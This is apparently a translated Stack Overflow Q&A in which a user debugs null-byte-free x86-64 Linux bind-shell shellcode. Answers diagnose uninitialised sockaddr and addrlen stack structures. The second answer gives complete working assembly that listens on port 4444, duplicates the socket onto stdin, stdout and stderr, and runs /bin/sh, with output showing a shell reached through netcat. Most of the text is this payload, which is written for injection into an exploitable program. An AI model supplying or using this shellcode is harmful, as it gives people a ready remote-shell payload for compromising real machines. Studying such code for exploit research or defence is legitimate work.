从我的shellcode中删除空字节时,我似乎无法在mov rsi指令中获取空字节,以便在没有奇怪的解决方法的情况下彻底删除。
我有一个bindshell shellcode,在进行dup2系统调用时,我必须将rsi设置为0,1和2,这样我就可以将stdin,stdout和stderror设置回" user"。 删除空字节时,我通常会执行以下操作:
xor rsi, rsi
mov sil, 1
但是这会以某种方式破坏我的shellcode。 所以我所做的就是:
xor rsi, rsi
mov sil, al
sub sil, al
add sil, 1
这有点多......
有人可以一路走来,为什么我只用一个mov sil打破shellcode,1?
编辑: 完整无效的代码:
global _start
_start:
xor rax, rax
mov al, 41
xor rdi, rdi
mov dil, 2
xor rsi, rsi
mov sil, 1
xor rdx, rdx
mov dl, 1
sub dl, 1
syscall
mov rdi, rax
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte [rsp-8], 0x2
sub rsp, 8
mov al, 49
mov rsi, rsp
mov dl, 16
syscall
mov al, 50
mov sil, 2
syscall
mov al, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
mov r9, rax
mov al, 3
syscall
mov rdi, r9
mov al, 33
xor rsi, rsi
mov sil, al
sub sil, al
syscall
mov al, 33
xor rsi, rsi
**mov sil, 1**
syscall
mov al, 33
xor rsi,rsi
**mov sil, 2**
syscall
HERE COMES ACTUALL SHELL CALLING
答案 0 :(得分:2)
您的问题与您在堆栈上构建的sockaddr
结构有关。您的代码执行此操作:
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte [rsp-8], 0x2
sub rsp, 8
这会创建一个16字节sockaddr
,但它并未完全初始化。因为您只使用mov byte [rsp-8], 0x2
移动单个字节,所以[rsp-7]
处的字节实际上从未被初始化,并且它将是正在被利用的程序运行时堆栈上发生的任何事情。它可能不是0.如果它不是0那么结构将有效地具有伪sa_family
(或sin_family
)字段。您可以做的是将结构初始化为全零,然后用以下内容填充:
xor rax, rax
push rax
push rax
mov word [rsp+2], 0x5c11
mov byte [rsp], 0x2
两个人提前将结构中的16字节内存清零。 sub rsp, 8
已被删除,因为推送会更新 RSP 。我们修改 MOV 指令以反映结构中数据的新偏移量。
您正在使用此参数的 C 样式结构定义是:
struct sockaddr_in {
short int sin_family; /* 16-bit field, not 8-bit */
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
};
为accept
系统调用创建空间时,您遇到了问题。这段代码:
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
sub rsp, 16
很好,因为它为addr
结构分配了16个字节。问题是addrlen
结构是一个32位无符号整数。您分配1个字节,因此长度可能受addr
结构开头的垃圾影响(您的数据重叠且内存未初始化)。您需要初始化至少4个字节的堆栈空间并将值16(长度)移动到该值。你可以这样做:
sub rsp, 16
mov rsi, rsp
xor edx, edx ; RDX = 0
push rdx ; Zero initialize 8 bytes of stack space
mov byte [rsp], 16 ; Set length to 16
mov rdx, rsp
为简化起见,我为addrlen
字段分配了8个字节,并将其初始化为值16(结构长度)。分配额外空间不是问题,它只会浪费4个字节的内存。 xor edx, edx
与xor rdx,rdx
的功能相同,但编码较短。如果目标操作数是32位寄存器,则CPU会自动将其扩展到64位寄存器。
使用上面的修补程序,您应该能够删除看起来像这样的代码:
mov dl, 1
sub dl, 1
和
mov sil, al
sub sil, al
使用这些说明可能只是在shellcode漏洞被放入可利用的程序时,通过改变堆栈的布局来暂时掩盖了这个问题。
如果您通过strace
运行代码(无论是独立代码还是作为另一个程序中的shellcode),它将运行指定的程序并转储所有调用的系统调用及其参数。正是这些信息让我意识到一些未初始化的堆栈导致错误的值被使用。如果您在调试器中,如果您转储堆栈数据以查看实际用于初始化相关结构的字节,您会看到类似的问题。
答案 1 :(得分:0)
通过在您的dup系统调用之后添加一些示例代码并删除代码工作的**字符。
正如@Michael Petch指出的那样," ...没有sys_exit系统调用,因此它可能会因为运行内存中的任何内容而导致段错误崩溃。"
我刚刚添加了一些使用execve系统调用来运行/ bin / sh的附加代码,以说明您的代码可以运行。
nasm -felf64 -g -F dwarf wealot_001.s -o wealot_001.o && ld wealot_001.o -o wealot_001
global _start
_start:
xor rax, rax
mov al, 41
xor rdi, rdi
mov dil, 2
xor rsi, rsi
mov sil, 1
xor rdx, rdx
mov dl, 1
sub dl, 1
syscall
mov rdi, rax
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte [rsp-8], 0x2
sub rsp, 8
mov al, 49
mov rsi, rsp
mov dl, 16
syscall
mov al, 50
mov sil, 2
syscall
mov al, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
mov r9, rax
mov al, 3
syscall
mov rdi, r9
mov al, 33
xor rsi, rsi
mov sil, al
sub sil, al
syscall
mov al, 33
xor rsi, rsi
mov sil, 1
syscall
mov al, 33
xor rsi,rsi
mov sil, 2
syscall
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
输出:
$ nc localhost 4444
whoami
david